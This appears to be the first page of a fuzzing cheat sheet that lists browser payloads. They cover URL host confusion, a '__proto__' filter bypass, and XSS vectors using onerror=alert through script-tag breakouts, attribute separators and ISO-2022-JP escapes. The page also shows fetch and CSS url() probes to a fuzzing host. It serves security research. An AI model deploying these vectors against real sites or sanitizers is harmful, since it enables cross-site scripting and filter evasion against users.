Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 212 vectors with results
if (new URL("https://example" + String.fromCodePoint(i) + "com").host == "example.com") alert(i)if (new URL("https://google.com:10x090x09/endpoint").hostname!="google.com"){alert(9)}Characters appended at the end of PORT within URL, which yield a different HOST This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https://google.com:1##/endpoint").hostname!="google.com"){alert(35)}Characters appended at the end of PORT within URL, which yield a different HOST This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https://google.com:1///endpoint").hostname!="google.com"){alert(47)}Characters appended at the end of PORT within URL, which yield a different HOST This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https://google.com:100/endpoint").hostname!="google.com"){alert(48)}Characters appended at the end of PORT within URL, which yield a different HOST This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https://google.com:111/endpoint").hostname!="google.com"){alert(49)}Characters appended at the end of PORT within URL, which yield a different HOST This is just a simple modification of another fuzzing vector by hansmachine
s = "0";
if (typeof s["0x00__proto__"] != "undefined") {
alert(String.fromCodePoint(0));
}Some applications protect against prototype pollution by matching the string "__proto__". We can bypass that.
for(const prop in document){
alert(prop);
}Object.getOwnPropertyNames(window).forEach(prop=>alert(prop))<div id="x9"><span x="href=0x09>&bbb"></span></div>
<script>
window["x9"].innerHTML=window["x9"].innerHTML;
if (window["x9"].firstChild.getAttribute("href") != null)
{
alert(9)
}
</script><div id="x10"><span x="href=
>&bbb"></span></div>
<script>
window["x10"].innerHTML=window["x10"].innerHTML;
if (window["x10"].firstChild.getAttribute("href") != null)
{
alert(10)
}
</script><div id="x12"><span x="href=0x0C>&bbb"></span></div>
<script>
window["x12"].innerHTML=window["x12"].innerHTML;
if (window["x12"].firstChild.getAttribute("href") != null)
{
alert(12)
}
</script><div id="x13"><span x="href=
>&bbb"></span></div>
<script>
window["x13"].innerHTML=window["x13"].innerHTML;
if (window["x13"].firstChild.getAttribute("href") != null)
{
alert(13)
}
</script><div id="x32"><span x="href= >&bbb"></span></div>
<script>
window["x32"].innerHTML=window["x32"].innerHTML;
if (window["x32"].firstChild.getAttribute("href") != null)
{
alert(32)
}
</script>Object.getOwnPropertyNames(window).forEach(prop=>/^on/.test(prop)&&alert(prop))const chars = "abcdefghijklmnopqrstuvwxyz0123456789!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~";
let encodings = new Map();
for (let i = 0; i < chars.length; i++) {
let c = chars[i];
for (let i = 127; i < 65536; i++) {
let str = String.fromCodePoint(i);
try {
let payload = `http://${str}example.com`;
let u = new URL(payload);
if (u.hostname === `${c}example.com`) {
alert(i)
}
} catch {}
}
}<0x1B(<img src onerror=alert(60)>This vector demonstrates how to use the new bytes placeholder. Here we are fuzzing the characters to perform an ASCII escape sequence in ISO-2022-JP.
<0x1B(Bimg src onerror=alert(66)>This vector demonstrates how to use the new bytes placeholder. Here we are fuzzing the characters to perform an ASCII escape sequence in ISO-2022-JP.
<0x1B(Jimg src onerror=alert(74)>This vector demonstrates how to use the new bytes placeholder. Here we are fuzzing the characters to perform an ASCII escape sequence in ISO-2022-JP.
fetch(`//${String.fromCodePoint(9)}fuzz.shazzer.co.uk/1hsis8uufqji?9`)Tests which characters are valid after the slashes in a protocol relative URL in fetch().
fetch(`//${String.fromCodePoint(10)}fuzz.shazzer.co.uk/toca8926sx?10`)Tests which characters are valid after the slashes in a protocol relative URL in fetch().
fetch(`//${String.fromCodePoint(13)}fuzz.shazzer.co.uk/pggvpop2qja?13`)Tests which characters are valid after the slashes in a protocol relative URL in fetch().
fetch(`//${String.fromCodePoint(47)}fuzz.shazzer.co.uk/7bneukpyz8w?47`)Tests which characters are valid after the slashes in a protocol relative URL in fetch().
fetch(`//${String.fromCodePoint(64)}fuzz.shazzer.co.uk/bjsmy0sr2y?64`)Tests which characters are valid after the slashes in a protocol relative URL in fetch().
fetch(`/${String.fromCodePoint(9)}/fuzz.shazzer.co.uk/dbwnwazyuz9?9`)Tests which characters are valid before a protocol relative URL in fetch().
fetch(`/${String.fromCodePoint(10)}/fuzz.shazzer.co.uk/70gv4ma2zxp?10`)Tests which characters are valid before a protocol relative URL in fetch().
fetch(`/${String.fromCodePoint(13)}/fuzz.shazzer.co.uk/smssh78lcm?13`)Tests which characters are valid before a protocol relative URL in fetch().
fetch(`/${String.fromCodePoint(47)}/fuzz.shazzer.co.uk/02t9phdgxf6a?47`)Tests which characters are valid before a protocol relative URL in fetch().
fetch(`/${String.fromCodePoint(92)}/fuzz.shazzer.co.uk/qhjdi955wmf?92`)Tests which characters are valid before a protocol relative URL in fetch().
fetch("0x00//fuzz.shazzer.co.uk/taigozrttt?0")Tests which characters are valid before a protocol relative URL in fetch().
fetch("0x01//fuzz.shazzer.co.uk/wll9s8751?1")Tests which characters are valid before a protocol relative URL in fetch().
fetch("0x02//fuzz.shazzer.co.uk/r6oirbg565s?2")Tests which characters are valid before a protocol relative URL in fetch().
fetch("0x03//fuzz.shazzer.co.uk/pgimexcg3n?3")Tests which characters are valid before a protocol relative URL in fetch().
fetch("0x04//fuzz.shazzer.co.uk/cu9ec4mgldf?4")Tests which characters are valid before a protocol relative URL in fetch().
<div id=x style="color:⟦09⟧red">test</div>
This vector shows which characters are allowed before a CSS property value
<div id=x style="color:
red">test</div>
This vector shows which characters are allowed before a CSS property value
<div id=x style="color:⟦0C⟧red">test</div>
This vector shows which characters are allowed before a CSS property value
<div id=x style="color:
red">test</div>
This vector shows which characters are allowed before a CSS property value
<div id=x style="color: red">test</div>
This vector shows which characters are allowed before a CSS property value
<div id=x style="co\lor:red">test</div>
This vector shows which characters are allowed in-between a CSS property name
<div id=x style="0x09color:red">test</div>
This vector shows which characters are allowed before a CSS property name
<div id=x style="
color:red">test</div>
This vector shows which characters are allowed before a CSS property name
<div id=x style="0x0Ccolor:red">test</div>
This vector shows which characters are allowed before a CSS property name
<div id=x style="
color:red">test</div>
This vector shows which characters are allowed before a CSS property name
<div id=x style=" color:red">test</div>
This vector shows which characters are allowed before a CSS property name
<style>
0x09div{color:red;}
</style>
<div id=x>test</div>
This shows how to use Shazzer to fuzz CSS syntax. This vector uses an inline style and div to set the colour. JavaScript is executed directly after each fuzz to check getComputedStyle to see if the div is red.
<style>
div{color:red;}
</style>
<div id=x>test</div>
This shows how to use Shazzer to fuzz CSS syntax. This vector uses an inline style and div to set the colour. JavaScript is executed directly after each fuzz to check getComputedStyle to see if the div is red.
<style>
0x0Cdiv{color:red;}
</style>
<div id=x>test</div>
This shows how to use Shazzer to fuzz CSS syntax. This vector uses an inline style and div to set the colour. JavaScript is executed directly after each fuzz to check getComputedStyle to see if the div is red.
<style>
div{color:red;}
</style>
<div id=x>test</div>
This shows how to use Shazzer to fuzz CSS syntax. This vector uses an inline style and div to set the colour. JavaScript is executed directly after each fuzz to check getComputedStyle to see if the div is red.
<style>
div{color:red;}
</style>
<div id=x>test</div>
This shows how to use Shazzer to fuzz CSS syntax. This vector uses an inline style and div to set the colour. JavaScript is executed directly after each fuzz to check getComputedStyle to see if the div is red.
<script></script0x09><img src=x onerror=alert(9)>Discovers which characters can break out of a script tag context.
<script></script
><img src=x onerror=alert(10)><script></script0x0C><img src=x onerror=alert(12)>Discovers which characters can break out of a script tag context.
<script></script
><img src=x onerror=alert(13)>Discovers which characters can break out of a script tag context.
<script></script ><img src=x onerror=alert(32)><img src0x09onerror=alert(9)>This vector shows which characters separate HTML attributes
<img src
onerror=alert(10)><img src0x0Conerror=alert(12)>This vector shows which characters separate HTML attributes
<img src
onerror=alert(13)>This vector shows which characters separate HTML attributes
<img src onerror=alert(32)><div id=x style="background:url(0x09//fuzz.shazzer.co.uk/qkefwxhsf0d?9#)">test</div>
Tests which characters can be used before a protocol relative URL within an HTML style attribute.
<div id=x style="background:url(
//fuzz.shazzer.co.uk/9gjqz06pec?10#)">test</div>
Tests which characters can be used before a protocol relative URL within an HTML style attribute.
<div id=x style="background:url(0x0C//fuzz.shazzer.co.uk/djwzixncfac?12#)">test</div>
Tests which characters can be used before a protocol relative URL within an HTML style attribute.
<div id=x style="background:url(
//fuzz.shazzer.co.uk/xe1z1ecnwvd?13#)">test</div>
Tests which characters can be used before a protocol relative URL within an HTML style attribute.
<div id=x style="background:url( //fuzz.shazzer.co.uk/tegd8toa9bs?32#)">test</div>
Tests which characters can be used before a protocol relative URL within an HTML style attribute.
Page 1 of 11